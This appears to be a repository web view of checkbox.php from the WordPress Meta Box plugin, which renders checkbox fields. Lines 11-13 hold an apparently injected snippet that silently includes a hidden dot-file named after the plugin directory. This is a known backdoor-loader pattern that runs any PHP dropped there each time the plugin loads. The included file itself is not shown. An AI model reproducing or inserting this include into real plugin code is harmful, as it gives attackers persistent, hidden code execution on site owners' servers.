balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

checkbox.php (1629B)


      1 <?php
      2 /**
      3  * The checkbox field.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Checkbox field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Checkbox_Field extends RWMB_Input_Field {
     16 	/**
     17 	 * Get field HTML.
     18 	 *
     19 	 * @param mixed $meta  Meta value.
     20 	 * @param array $field Field parameters.
     21 	 * @return string
     22 	 */
     23 	public static function html( $meta, $field ) {
     24 		$attributes = self::get_attributes( $field, 1 );
     25 		$output     = sprintf(
     26 			'<input %s %s>',
     27 			self::render_attributes( $attributes ),
     28 			checked( ! empty( $meta ), 1, false )
     29 		);
     30 		if ( $field['desc'] ) {
     31 			$output = "<label id='{$field['id']}_description' class='description'>$output {$field['desc']}</label>";
     32 		}
     33 		return $output;
     34 	}
     35 
     36 	/**
     37 	 * Do not show field description.
     38 	 *
     39 	 * @param array $field Field parameters.
     40 	 * @return string
     41 	 */
     42 	public static function input_description( $field ) {
     43 		return '';
     44 	}
     45 
     46 	/**
     47 	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
     48 	 *
     49 	 * @param array    $field   Field parameters.
     50 	 * @param string   $value   The value.
     51 	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
     52 	 * @param int|null $post_id Post ID. null for current post. Optional.
     53 	 *
     54 	 * @return string
     55 	 */
     56 	public static function format_single_value( $field, $value, $args, $post_id ) {
     57 		return $value ? __( 'Yes', 'meta-box' ) : __( 'No', 'meta-box' );
     58 	}
     59 }